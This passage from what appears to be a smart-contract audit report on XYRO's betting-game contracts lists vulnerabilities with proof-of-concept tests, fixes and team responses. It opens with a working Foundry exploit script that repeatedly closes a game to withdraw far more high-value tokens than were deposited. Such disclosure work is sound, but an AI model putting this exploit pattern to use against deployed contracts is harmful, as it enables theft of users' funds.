        console.log("before highToken balance:",highToken.balanceOf(attacker) / (10
** highToken.decimals()));

        uint8 feedNumber = uint8(10);

        vm.startBroadcast(privateKey);

        lowToken.approve(address(treasury),400 * 10 ** lowToken.decimals());
        highToken.approve(address(treasury),2 * 10 ** highToken.decimals());

        vm.mockCall(dataStreamVerifier,
abi.encodeWithSelector(IDataStreamsVerifier.assetId.selector,feedNumber),
        abi.encode(bytes32("price")));

        //use wrong opponent to prevent anyone to accept game.
        //first use lowToken to enlarge locked amount
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, attacker,
address(treasury),400 * 10 ** lowToken.decimals(), lowToken.nonces(attacker),
block.timestamp + 5 minutes));

        bytes32 hashed = lowToken.hashTypedDataV4(structHash);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey,hashed);

        ITreasury.PermitData memory data = ITreasury.PermitData({
            deadline:block.timestamp + 5 minutes,
            v:v,
```

```
            r:r,
            s:s
        });



oneVsOne.createGameWithPermit(feedNumber,address(0x01),uint32(block.timestamp + 5
minutes),uint32(int32(10 ** 9)),400 * 10 **
lowToken.decimals(),address(lowToken),data);


        structHash = keccak256(abi.encode(PERMIT_TYPEHASH, attacker,
address(treasury), 2 * 10 ** highToken.decimals(), highToken.nonces(attacker),
block.timestamp + 5 minutes));

        hashed = highToken.hashTypedDataV4(structHash);

        (v,r,s) = vm.sign(privateKey,hashed);

        data = ITreasury.PermitData({
            deadline:block.timestamp + 5 minutes,
            v:v,
            r:r,
            s:s
        });


oneVsOne.createGameWithPermit(feedNumber,address(0x01),uint32(block.timestamp + 5
minutes),uint32(int32(10 ** 9)),2 * 10 **
highToken.decimals(),address(highToken),data);

        bytes32 gameId = keccak256(abi.encodePacked(uint32(block.timestamp + 5
minutes), block.timestamp, attacker, address(0x01)));

        //after 3 day,user can withdraw highToken much times by close game

        vm.warp(block.timestamp + 5 minutes + 3 days);

        for(uint i=0;i<201;i++){
            oneVsOne.closeGame(gameId);
        }


treasury.withdraw(treasury.deposits(address(lowToken),attacker),address(lowToken));

treasury.withdraw(treasury.deposits(address(highToken),attacker),address(highToken))
;

        vm.stopPrank();
```

```
        console.log("after lowToken balance:",lowToken.balanceOf(attacker) /  (10 **
lowToken.decimals()));
        console.log("after highToken balance:",highToken.balanceOf(attacker) /  (10
** highToken.decimals()));
    }
}
```

Additionally, the corresponding mockERC20 contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;


import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {ERC20Permit} from
"@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";

contract MockERC20 is ERC20 {

    uint8 _decimals;

    constructor(string memory name_, string memory symbol_,uint256 decimals_,uint256
amount) ERC20(name_,symbol_) {

        _decimals = uint8(decimals_);
        _mint(_msgSender(),amount * 10 ** _decimals);

    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
}

contract MockERC20Permit is ERC20Permit {

    uint8 _decimals;

    constructor(string memory name_, string memory symbol_,uint256 decimals_,uint256
amount) ERC20(name_,symbol_) ERC20Permit(name_){

        _decimals = uint8(decimals_);
        _mint(_msgSender(),amount * 10 ** _decimals);
    }

  function hashTypedDataV4(bytes32 structHash) external view virtual returns
(bytes32) {
        return _hashTypedDataV4(structHash);
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
```

```
    }
}
```

Here are the test results:

```
Ran 1 test for test/OneVsOneTest.sol:OneVsOneTest
[PASS] test_ChangeToken() (gas: 2042964)
Logs:
  before lowToken balance: 100000
  before highToken balance: 2
  after lowToken balance: 99600
  after highToken balance: 402
```

It can be seen that 400 low-value `lowToken` have been exchanged for 400 high-value `highToken`.

Recommendation

For the refund condition 3 days after the `endTime`, a check for the current state being either "Created" or "Started" needs to be added. Additionally, for games in the "Started" state, the opponent's funds must also be refunded.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

TRE-01 | CENTRALIZED CONTROL OF CONTRACT UPGRADE

Category	Severity	Location	Status
Centralization	**Major**	**Treasury.sol (12/03-740df0): 13**	**Acknowledged**

Description

In the contract `Treasury`, the admin role has the authority to update the implementation contract behind the proxy contract.

Any compromise to the admin account may allow a hacker to take advantage of this authority and change the implementation contract which is pointed by proxy and therefore execute potential malicious functionality in the implementation contract.

Important Note: Certain identification procedures were attempted to be applied to the project team in order to better understand the centralization situation and potential risks of the project. We strongly advise end users to conduct further research and exercise due diligence before engaging with the project given the centralization related risks. It is crucial for end users to independently verify and assess all available information to make informed decisions.

Recommendation

We recommend that the team make efforts to restrict access to the admin of the proxy contract. A strategy of combining a time-lock and a multi-signature (⅔, ⅗) wallet can be used to prevent a single point of failure due to a private key compromise. In addition, the team should be transparent and notify the community in advance whenever they plan to migrate to a new implementation contract.

Here are some feasible short-term and long-term suggestions that would mitigate the potential risk to a different level and suggestions that would permanently fully resolve the risk.

Short Term:

A combination of a time-lock and a multi signature (⅔, ⅗) wallet mitigate the risk by delaying the sensitive operation and avoiding a single point of key management failure.

- A time-lock with reasonable latency, such as 48 hours, for awareness of privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to a private key compromised;
  AND
- A medium/blog link for sharing the time-lock contract and multi-signers addresses information with the community.

For remediation and mitigated status, please provide the following information:

- Provide the deployed time-lock address.
- Provide the **gnosis** address with **ALL** the multi-signer addresses for the verification process.
- Provide a link to the **medium/blog** with all of the above information included.

Long Term:

A combination of a time-lock on the contract upgrade operation and a DAO for controlling the upgrade operation mitigate the contract upgrade risk by applying transparency and decentralization.

- A time-lock with reasonable latency, such as 48 hours, for community awareness of privileged operations;
  AND
- Introduction of a DAO, governance, or voting module to increase decentralization, transparency, and user involvement;
  AND
- A medium/blog link for sharing the time-lock contract, multi-signers addresses, and DAO information with the community.

For remediation and mitigated status, please provide the following information:

- Provide the deployed time-lock address.
- Provide the **gnosis** address with **ALL** the multi-signer addresses for the verification process.
- Provide a link to the **medium/blog** with all of the above information included.

Permanent:

Renouncing ownership of the `admin` account or removing the upgrade functionality can *fully* resolve the risk.

- Renounce the ownership and never claim back the privileged role;
  OR
- Remove the risky functionality.

Note: we recommend the project team consider the long-term solution or the permanent solution. The project team shall make a decision based on the current state of their project, timeline, and project resources.

Alleviation

[XYRO, 12/25/2024]:
We use a multisig contract to weaken centralization. But we do not use TimeLock contracts. We have studied OpenZeppelin's TimelockController and it seems to defer all actions for a certain period. This is convenient for newly added

contracts, but very unhelpful for operational contract management. Do I understand the logic of using it correctly? Or how can we get this kind of behavior?

[CertiK, 12/27/2024]:
The time lock is used to provide both the users and the project team with sufficient time to minimize losses in case the admin privileges of the proxy contract are leaked and exploited to update the code. Additionally, it gives users enough time to react when the project team updates the code. This is an important improvement for both security and community transparency.

[CertiK, 01/07/2025]:
It is suggested to implement the aforementioned methods to avoid centralized failure. Also, it strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

[XYRO Team, 01/08/2025]:
We created a timelock and multisig contract and created a social media page to show the community. We plan to use them in a new version of the contracts, which we will publish after the audit. Therefore, we cannot provide transactions to transfer rights to the contracts. The admin of the timelock is multisig.

https://xyro-io.gitbook.io/xyro-whitepaper/smart-contracts

[CertiK, 01/08/2025]:
We will update the finding status accordingly once the multi-signature and time-lock combination is set.

TRE-09 | CENTRALIZED WITHDRAWAL RISK

Category	Severity	Location	Status
Centralization	**Major**	**Treasury.sol (12/03-740df0): 25**	**Acknowledged**

Description

In the contract `Treasury`, the role `DISTRIBUTOR_ROLE` has authority over the functions listed below.

- setGameToken()
- depositAndLock()
- depositAndLockWithPermit()
- lock()
- refund()
- refundWithFees()
- universalDistribute()
- withdrawGameFee()
- calculateRate()
- withdrawInitiatorFee()
- distributeBullseye()
- bullseyeResetLockedAmount()
- withdrawRakebackSetup()
- setGameFinished()

Any compromise to the `DISTRIBUTOR_ROLE` account may allow the hacker to take advantage of this authority and directly withdraw tokens from the treasury.

In the contract `Treasury`, the role `DEFAULT_ADMIN_ROLE` has authority over the functions listed below.

- setToken()

Any compromise to the `DEFAULT_ADMIN_ROLE` account may allow the hacker to take advantage of this authority and prevent players from withdrawing assets.

Important Note: Certain identification procedures were attempted to be applied to the project team in order to better understand the centralization situation and potential risks of the project. We strongly advise end users to conduct further research and exercise due diligence before engaging with the project given the centralization related risks. It is crucial for end users to independently verify and assess all available information to make informed decisions.

Recommendation

In the project, the `DISTRIBUTOR_ROLE` should only be granted to the game contract. The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets. Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[CertiK, 01/07/2025]:

It is suggested to implement the aforementioned methods to avoid centralized failure. Also, it strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

We will update the finding status accordingly once the multi-signature and time-lock combination is set.

UDB-01 FAILURE TO RESET `totalRakebackUp` AND `totalRakebackDown` IN `finalizeGame` FUNCTION

Category	Severity	Location	Status
Logical Issue	Major	UpDown.sol (12/03-740df0): 291~293, 368~369, 385~388	Resolved

Description

In the `UpDown` contract, the `finalizeGame` function is responsible for finalizing the game and distributing rewards. However, when the game is canceled due to either `UpPlayers.length == 0` or `DownPlayers.length == 0`, the function resets several global storage variables but fails to reset `totalRakebackUp` and `totalRakebackDown`. This oversight can lead to incorrect calculations and potential asset loss in subsequent game rounds. The critical section of the code is:

```
if (UpPlayers.length == 0 || DownPlayers.length == 0) {
    // ... refund logic ...
    packedData = 0;
    totalDepositsUp = 0;
    totalDepositsDown = 0;
    currentGameId = bytes32(0);
    return;
}

// ... other logic ...

    delete DownPlayers;
    emit UpDownCancelled(currentGameId);
    packedData = 0;
    currentGameId = bytes32(0);
    return;

// ... other logic ...

delete DownPlayers;
delete UpPlayers;
ITreasury(treasury).setGameFinished(currentGameId);
currentGameId = bytes32(0);
packedData = 0;
totalDepositsUp = 0;
totalDepositsDown = 0;
```

The same issue is present at the end of the `finalizeGame` function where `totalRakebackUp` and `totalRakebackDown` are not reset, potentially affecting future games.

Proof of Concept

We modified the existing test case to print the rakeback information after finalizing a game.

Code

```
    it("should refund if starting price and final price are equal", async function
() {
      let oldBalance = await USDT.balanceOf(alice.getAddress());
      await Game.startGame(
        (await time.latest()) + fortyFiveMinutes,
        (await time.latest()) + fifteenMinutes,
        usdtAmount,
        await USDT.getAddress(),
        feedNumber
      );
      await Game.connect(alice).play(true, usdtAmount);
      await Game.connect(opponent).play(false, usdtAmount);
      await time.increase(fifteenMinutes);
      await Game.setStartingPrice(
        abiEncodeInt192WithTimestamp(
          assetPrice.toString(),
          feedNumber,
          await time.latest()
        )
      );
      await time.increase(fifteenMinutes * 2);
      await Game.finalizeGame(
        abiEncodeInt192WithTimestamp(
          assetPrice.toString(),
          feedNumber,
          await time.latest()
        )
      );
      console.log("after finalize totalRakebackUp: ", await Game.totalRakebackUp());
      console.log("after finalize totalRakebackDown: ", await
Game.totalRakebackDown());
      console.log("after finilize alice deposits: ", await Treasury.deposits(await
USDT.getAddress(), alice.address));
      console.log("after finilize opponent deposits: ", await
Treasury.deposits(await USDT.getAddress(), opponent.address));
      await Treasury.connect(alice).withdraw(
        await Treasury.deposits(await USDT.getAddress(), alice.address),
        await USDT.getAddress()
      );
      await Treasury.connect(opponent).withdraw(
        await Treasury.deposits(await USDT.getAddress(), opponent.address),
        await USDT.getAddress()
      );
      let newBalance = await USDT.balanceOf(alice.getAddress());
      expect(newBalance).to.be.equal(oldBalance);
    });
```

Result

We discovered that the rakeback information is not being reset, which affects the rate calculation and impacts subsequent games.

```
UpDown
    Finalize game
after finalize totalRakebackUp:  3000000n
after finalize totalRakebackDown:  3000000n
after finilize alice deposits:  100000000n
after finilize opponent deposits:  100000000n
      ✔ should refund if starting price and final price are equal (38ms)
```

Recommendation

To prevent potential asset loss and ensure accurate calculations in future game rounds, modify the `finalizeGame` function to reset `totalRakebackUp` and `totalRakebackDown` whenever the game is canceled or finalized.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

[CertiK, 12/26/2024]:
The `totalRakebackUp` and `totalRakebackDown` variables are redundantly reset when `uint192(finalPrice) == startingPrice`. While this duplication does not affect the contract's functionality, we recommend removing the redundant statements to improve readability and optimize gas efficiency.

```
381             emit UpDownCancelled(currentGameId);
382             totalDepositsUp = 0;
383             totalDepositsDown = 0;
384             totalRakebackUp = 0;
385             totalRakebackDown = 0;
386             startingPrice = 0;
387             packedData = 0;
388             totalRakebackUp = 0;
389             totalRakebackDown = 0;
390             currentGameId = bytes32(0);
```

BUE-01 INCORRECT CALCULATION OF `rakeback` IN `Bullseys` CONTRACT

Category	Severity	Location	Status
Logical Issue	Medium	Bullseye.sol (12-31/c72c06): 224~234	Resolved

Description

The `playWithPermit` function of `Bullseye` contract incorrectly calculates and double-counts the rakeback. The line `uint256 rakeback = totalRakeback += ITreasury(treasury).depositAndLockWithPermit(...)` both assigns and adds the value of rakeback to `totalRakeback`, leading to an incorrect rakeback value being stored in `playerGuessData` and emitted in the `BullseyeNewPlayer` event.

```
    function playWithPermit(
        uint256 assetPrice,
        ITreasury.PermitData calldata permitData
    ) public {
        ...
    @>  uint256 rakeback = totalRakeback += ITreasury(treasury)
            .depositAndLockWithPermit(
                depositAmount,
                msg.sender,
                currentGameId,
                playerGuessData.length,
                permitData.deadline,
                permitData.v,
                permitData.r,
                permitData.s
            );
        ...
     @> totalRakeback += rakeback;
        emit BullseyeNewPlayer(
            msg.sender,
            assetPrice,
            depositAmount,
            currentGameId,
            playerGuessData.length - 1,
            rakeback
        );
    }
```

Recommendation

It's recommended to correct the calculation of `rakeback` in the `playWithPermit` function of `Bullseye` contract.

Alleviation

[XYRO, 01/07/2025]:

The team resolved this issue by heeding the advice in the updated version 4728db75e5d030724caaa0f0a50d33870b1cd823.

BUS-01 INCORRECT `Rakeback` CALCULATION FOR MULTIPLE ENTRIES IN `Bullseye` CONTRACT

Category	Severity	Location	Status
Logical Issue	Medium	Bullseye.sol (12-26/0a08cf): 369~375	Resolved

Description

In the `Treasury` contract, the `distributeBullseye` function is responsible for deducting the appropriate rakeback for each guess during reward distribution. However, if a player participates multiple times in a single round, the rakeback calculation may be incorrect. For instance, if userA participates twice with different guesses and userB participates once, and userA's second guess wins, both userA and userB are meant to retain one share of rakeback, with userA winning the reward. The issue arises when calculating `winnersRakeback`, as all of userA's rakeback entries are considered, including those from losing guesses. This results in insufficient rakeback for players to withdraw.

```
        for (uint i = 0; i < 3; i++) {
            if (currentRates[i] != 0) {
                winnersRakeback += ITreasury(treasury).lockedRakeback(
                    currentGameId,
                    topPlayers[i]
                );
            }
        }

        for (uint256 i = 0; i < 3; i++) {
            if (topPlayers[i] != address(0)) {
                if (currentRates[i] != 0) {
                    ITreasury(treasury).distributeBullseye(
                        currentRates[i],
                        totalRakeback - winnersRakeback,
                        topPlayers[i],
                        currentGameId,
                        topRakeback[i]
                    );
                }
            }
        }
```

Proof of Concept

We modified the existing test case to simulate the above case.

Code

```
    it("two players participated with one player joining twice", async function () {
      await Game.connect(alice).play(guessBobPrice);
      await Game.connect(opponent).play(guessPriceOpponent);
      //alice should win exact
      await Game.connect(alice).play(guessPriceAlice);
      let oldAliceDeposit = await Treasury.deposits(
        await USDT.getAddress(),
        alice.address
      );
      await time.increase(fortyFiveMinutes);
      const oldTreasuryFeeBalance = await Treasury.collectedFee(
        await USDT.getAddress()
      );
      const gameId = await Game.currentGameId();
      let tx = await Game.finalizeGame(
        abiEncodeInt192WithTimestamp(
          finalPriceExact.toString(),
          feedNumber,
          await time.latest()
        )
      );
      let receipt = await tx.wait();
      let finalizeEventLog = receipt?.logs[2]?.args;
      expect(finalizeEventLog[0][0]).to.be.equal(alice.address);
      // second is alice too.
      expect(finalizeEventLog[0][1]).to.be.equal(alice.address);
      expect(finalizeEventLog[0][2]).to.be.equal(opponent.address);
      expect(finalizeEventLog[1][0]).to.be.equal(2);
      expect(finalizeEventLog[1][1]).to.be.equal(0);
      expect(finalizeEventLog[1][2]).to.be.equal(1);
      expect(finalizeEventLog[2]).to.be.equal(finalPriceExact);
      expect(finalizeEventLog[3]).to.be.equal(true);
      let newAliceDeposit = await Treasury.deposits(
        await USDT.getAddress(),
        alice.address
      );
      const rakebackAlice = await Treasury.lockedRakeback(
        gameId,
        alice.address
      );
      const rakebackOpponent = await Treasury.lockedRakeback(
        gameId,
        opponent.address
      );
      console.log("alice deposits:", newAliceDeposit - oldAliceDeposit);
      console.log("alice rakeback:", rakebackAlice);
      console.log("opponent rakeback:", rakebackOpponent);
      console.log("collected fee: ", await Treasury.collectedFee(await
USDT.getAddress()) - oldTreasuryFeeBalance);
```

```
      console.log("locked: ", await Treasury.locked(gameId));
    });
```

Result

We observed that the total of deposits, rakebacks, and fees exceeds the total amount played.

```
  Bullseye
    Finalize game
alice deposits: 277000000n
alice rakeback: 3000000n
opponent rakeback: 3000000n
collected fee:  20000000n
locked:  0n
      ✔ two players participated with one player joining twice


  1 passing (4s)
```

Recommendation

Modify the rakeback calculation logic to correctly account for only the winning guess's rakeback when determining `winnersRakeback`.

Alleviation

[CertiK, 12/31/2024]:

The last parameter passed to the `distributeBullseye` function remains incorrect.

```
ITreasury(treasury).distributeBullseye(
    currentRates[i],
    totalRakeback - winnersRakeback,
    topPlayers[i],
    currentGameId,
    topRakeback[i] // should using index here
);
```

[XYRO, 01/07/2025]:

The team resolved this issue by heeding the advice in the updated version 4728db75e5d030724caaa0f0a50d33870b1cd823.

CON-02 | NO CAP ON FEES

Category	Severity	Location	Status
Logical Issue	Medium	Bullseye.sol (12/03-740df0): 449; OneVsOneExactPrice.sol (12/03-740df0): 589, 600; Setup.sol (12/03-740df0): 765, 776; Treasury.sol (12/03-740df0): 95; UpDown.sol (12/03-740df0): 468	Resolved

Description

The `fee` variables in the contract have no set limits, allowing fees to potentially reach 100%. If this occurs, users would receive no tokens from the contract, resulting in a complete loss of their investment.

Recommendation

We recommend setting a reasonable cap on fees and providing adequate disclosure to the community.

Alleviation

[XYRO, 12/25/2024]:

The team partially resolved this issue by adding a reasonable cap on fees in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

[CertiK, 12/26/2024]:

The issue persists in the `setRefundFee` function of the `OneVsOneExactPrice` contract and the `setInitiatorFee` function of the `Setup` contract.

[XYRO, 01/08/2024]:

The team resolved this issue by adding a reasonable cap on fees in the updated version 1e3e8aba632fb63fcd3fa02a91fbe4c0cb08bce7.

OVO-03 OPPONENT'S ASSETS LOCKED ON GAME CLOSURE IN `closeGame` FUNCTION

Category	Severity	Location	Status
Logical Issue	Medium	OneVsOneExactPrice.sol (12/03-740df0): 408~416	Resolved

Description

In the `OneVsOneExactPrice` contract, the `closeGame` function allows the game's initiator to close the game and refund tokens when the game is in the `Created` status or when the current time is three days after `game.endTime`. However, if the game is `Started`, the function only refunds the initiator's assets and does not account for the opponent's assets. Furthermore, there are no other functions available to refund the opponent's assets, potentially causing their assets to be locked indefinitely. The relevant code snippet is:

```
function closeGame(bytes32 gameId) public {
    GameInfo memory game = decodeData(gameId);
    require(game.initiator == msg.sender, "Wrong sender");
    require(
        game.gameStatus == Status.Created ||
            (
                block.timestamp > game.endTime
                    ? block.timestamp - game.endTime >= 3 days
                    : false
            ),
        "Wrong status!"
    );
    ITreasury(treasury).refund(
        games[gameId].depositAmount,
        game.initiator,
        gameId
    );
    //rewrites status
    games[gameId].packedData2 =
        (games[gameId].packedData2 & ~(uint256(0xFF) << 208)) |
        (uint256(uint8(Status.Cancelled)) << 208);
    emit ExactPriceCancelled(gameId);
}
```

Proof of Concept

We modified the existing test case to print the deposits info after closing an accepted game.

Code

```
    it("should close game accepted game if 3 days passed without finish", async
function () {
      const threeDaysUnix = 259205;
      const tx = await Game.createGame(
        feedNumber,
        opponent.address,
        (await time.latest()) + fortyFiveMinutes,
        initiatorPrice,
        usdtAmount,
        await USDT.getAddress()
      );
      receipt = await tx.wait();
      currentGameId = receipt!.logs[1]!.args[0];
      await Game.connect(opponent).acceptGame(currentGameId, opponentPrice);
      await time.increase(threeDaysUnix + fortyFiveMinutes);
      console.log("before close owner deposit: ", await Treasury.deposits(await
USDT.getAddress(),owner.address));
      console.log("before close opponent deposit: ",  await Treasury.deposits(await
USDT.getAddress(),opponent.address));
      await Game.closeGame(currentGameId);
      expect((await Game.decodeData(currentGameId)).gameStatus).to.equal(
        Status.Cancelled
      );
      console.log("after close owner deposit: ", await Treasury.deposits(await
USDT.getAddress(),owner.address));
      console.log("after close opponent deposit: ",  await Treasury.deposits(await
USDT.getAddress(),opponent.address));
      await Treasury.connect(owner).withdraw(
        await Treasury.deposits(await USDT.getAddress(), owner.address),
        await USDT.getAddress()
      );
      await Treasury.connect(opponent).withdraw(
        await Treasury.deposits(await USDT.getAddress(), opponent.address),
        await USDT.getAddress()
      );
    });
```

Result

We found after close the opponent's deposit is still 0.

```
 OneVsOne
    Close game
before close owner deposit:  0n
before close opponent deposit:  0n
after close owner deposit:  100000000n
after close opponent deposit:  0n
      ✔ should close game accepted game if 3 days passed without finish


  1 passing (3s)
```

Recommendation

To prevent the opponent's assets from being locked, the `closeGame` function should be modified to also handle the refund of the opponent's assets when the game is closed. Consider adding logic to identify and refund the opponent's deposit in the function.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

SET-07 POSSIBLE FAILURE FOR LAST WINNER TO CLAIM REWARDS DUE TO ARITHMETIC OVERFLOW FROM PRECISION LOSS

Category	Severity	Location	Status
Logical Issue	Medium	Setup.sol (01/08-1e3e8a): 458~464, 488~494, 526~532, 555~561, 613~620, 635~642, 659~666, 680~687	Resolved

Description

In the `finalizeGame()` function, the initiator fee is rounded only once during the calculation for the winning side:

```
555                 finalRate = ITreasury(treasury).calculateRate(
556                     games[gameId].totalDepositsTP -
557                         ((games[gameId].totalDepositsTP * initiatorFee) /
558                             FEE_DENOMINATOR),
559                     games[gameId].totalRakebackSL,
560                     gameId
561                 );
```

However, in the `retrieveRewards()` function, each winner may have their initiator fee rounded when withdrawing, which can lead to multiple rounding in the total calculation:

```
635                         ITreasury(treasury).universalDistribute(
636                             msg.sender,
637                             depositAmounts[gameIds[i]][msg.sender] -
638                                 ((depositAmounts[gameIds[i]][msg.sender] *
639                                     initiatorFee) / FEE_DENOMINATOR),
640                             gameIds[i],
641                             games[gameIds[i]].finalRate
642                         );
```

In this case, the total rewards withdrawn by each winner may exceed the amount stored in `locked[gameId]`, causing some users' funds (either rakeBack or prize money, depending on who withdraws the reward last) to be unable to be extracted from the treasury.

Scenario

We assume there is a setUp game with 11 players (for simplicity, rakeBack is false):

- 10 players support TP, each with a deposit of 10^6 + 5 wei USDT (i.e., 1.000005 USDT), totaling 10^7 + 50 wei USDT(i.e., 10.000050 USDT).

- 1 player supports SL, with a deposit of 11111167 wei (i.e., 11.111167 USDT).

At the end of the game, TP wins.

At this point, the remaining total prize for the winning side (after deducting 10% of the game fee from the loser's deposit) is: 11111167 * 0.9 = 10^7 + 50 wei USDT (i.e., 10.000050 USDT).

The initiator fee deducted from both TP and SL is 10^7 + 50 * 10% = 10^6 + 5 wei.

Then, the final rate is calculated as: Failure side's prize / Winning side's principal = 1.

Therefore, the amount left in `locked[gameId]` after the `finalizeGame` calculation should be:
(10^7 + 50) * 2 - (10^6 + 5) * 2 = 18 * 10^6 + 90 wei.

However, for each winner:

The initiator fee is rounded down when deducted from the principal, so each player's initiator fee is: (10^6 + 5) * 10% = 10^5 wei USDT,

and the remaining principal is:
10^6 + 5 - 10^5 = 0.9 * 10^6 + 5 wei.

Thus, each winner's total income (including the principal) when calculating the distribute amount is:
(0.9 * 10^6 + 5) + (0.9 * 10^6 + 5) * 1 = 1.8 * 10^6 + 10 wei.

Therefore, the total amount distributed to each player is:
(1.8 * 10^6 + 10) * 10 = 18 * 10^6 + 100 wei,

which is greater than the value in `locked[gameId]`.

This will result in one player's reward being unable to be withdrawn.

Proof of Concept

The PoC based on the existing test suits demonstrates this potential issue.

```
  describe("RetrieveRewards", () => {
    let currentGameId: string;
    const usdtAmount = ethers.parseUnits("1000", 6);

    beforeEach(async () => {
      const startTime = await time.latest();
      const endTime = startTime + fortyFiveMinutes;
      const tx = await Game.createSetup(
          true,  // isLong
          endTime,
          tpPrice,
          slPrice,
          feedNumber,
          await USDT.getAddress(),
          abiEncodeInt192WithTimestamp(
              assetPrice.toString(),
              feedNumber,
              startTime
          )
      );
      const receipt = await tx.wait();
      const events = receipt.logs.filter(
          (event: any) => event.fragment?.name === "SetupCreated"
      );
      currentGameId = events[0]!.args[0][0];
    });

    it("should revert when retrieving rewards due to underflow issue caused by
precision loss", async () => {
      // record initial balance
      const oldAliceBalance = await Treasury.deposits(await USDT.getAddress(),
alice.address);
      const oldBobBalance = await Treasury.deposits(await USDT.getAddress(),
bob.address);
      const oldOwnerBalance = await Treasury.deposits(await USDT.getAddress(),
owner.address);
      // TP team players
      await Game.connect(alice).play(true, usdtAmount + BigInt(777999),
currentGameId);
      await Game.connect(bob).play(true, usdtAmount + BigInt(777999),
currentGameId);

      // SL team players
      await Game.connect(owner).play(false, usdtAmount + BigInt(777999),
currentGameId);
      await Game.connect(harry).play(false, usdtAmount + BigInt(777999),
currentGameId);

      // wait for game ends
```

```
      await time.increase(fortyFiveMinutes);

      // finalize game - TP team wins
      const finalizeTime = (await time.latest()) - 60;
      await Game.finalizeGame(
          abiEncodeInt192WithTimestamp(
              tpPrice.toString(),  // reach TP price
              feedNumber,
              finalizeTime
          ),
          currentGameId
      );

      // record rakeback rewards
      const aliceRakeback = await Treasury.lockedRakeback(currentGameId,
alice.address, 0);
      const bobRakeback = await Treasury.lockedRakeback(currentGameId, bob.address,
0);
      const data = await Game.games(currentGameId);
      const finalRate = data.finalRate;

      // retrieve rewards
      // TP team players
      await Game.connect(alice).retrieveRewards([currentGameId]);
      //await Game.connect(bob).retrieveRewards([currentGameId]);
      await expect(
          Game.connect(bob).retrieveRewards([currentGameId])
      ).to.be.revertedWithPanic(0x11);

      // SL team players
      await Game.connect(owner).retrieveRewards([currentGameId]);
      await Game.connect(harry).retrieveRewards([currentGameId]);

    });
  });
```

Test result:

```
npx hardhat test test/testSetup.ts --grep "should revert when retrieving rewards due
to underflow issue caused by precision loss"
Compiled 1 Solidity file successfully (evm target: paris).

  Setup Game
    RetrieveRewards
      ✔ should revert when retrieving rewards due to underflow issue caused by
precision loss

  1 passing (2s)
```

Recommendation

In the `universalDistribute` function of `retrieveRewards`, the initiator fee should be rounded up instead of rounded down during the calculation or consider a safeguard to prevent arithmetic overflow.

Alleviation

[CertiK, 01/10/2025]:

The team heeded the advice to resolve this issue and changes were reflected in the commit 09b2892b034b221da7b599215c802116b9440692.

TRE-02 POTENTIAL INCORRECT FEE CALCULATION IN `withdrawInitiatorFee` FUNCTION

Category	Severity	Location	Status
Incorrect Calculation	Medium	Treasury.sol (12/03-740df0): 466~468	Resolved

Description

In the `Treasury` contract, the `withdrawInitiatorFee` function is designed to calculate and distribute the initiator's fee from the game deposits. However, the formula used to calculate `withdrawnFees` is incorrect. The current calculation is:

```
withdrawnFees =
    (wonTeamDeposits + lostTeamDeposits * initiatorFee) /
    FEE_DENOMINATOR;
```

This formula erroneously applies the `initiatorFee` only to `lostTeamDeposits` ,and the winning team will be charged a 0.01% fee, leading to an incorrect fee calculation. According to xyro.io,the fee should be calculated based on the combined total of `wonTeamDeposits` and `lostTeamDeposits` , multiplied by the rate `initiatorFee/FEE_DENOMINATOR` . This error can result in an incorrect initiator fee, causing potential asset loss to the game initiator.

Proof of Concept

We modified the existing test case to print the deposits information of initiator and players

Code

```
    it("should end setup game long tp wins", async function () {
      const oldTreasuryBalance = await USDT.balanceOf(
        await Treasury.getAddress()
      );
      const oldAliceBalance = await USDT.balanceOf(alice);
      const oldOwnerBalance = await USDT.balanceOf(owner);
      const oldBobBalance = await USDT.balanceOf(bob);
      const isLong = true;
      const startTime = await time.latest();
      const endTime = (await time.latest()) + fortyFiveMinutes;
      let tx = await Game.createSetup(
        isLong,
        endTime,
        tpPrice,
        slPrice,
        feedNumber,
        await USDT.getAddress(),
        abiEncodeInt192WithTimestamp(
          assetPrice.toString(),
          feedNumber,
          startTime
        )
      );
      receipt = await tx.wait();
      currentGameId = receipt?.logs[0]?.args[0][0];
      await Game.connect(bob).play(false, usdtAmount, currentGameId);
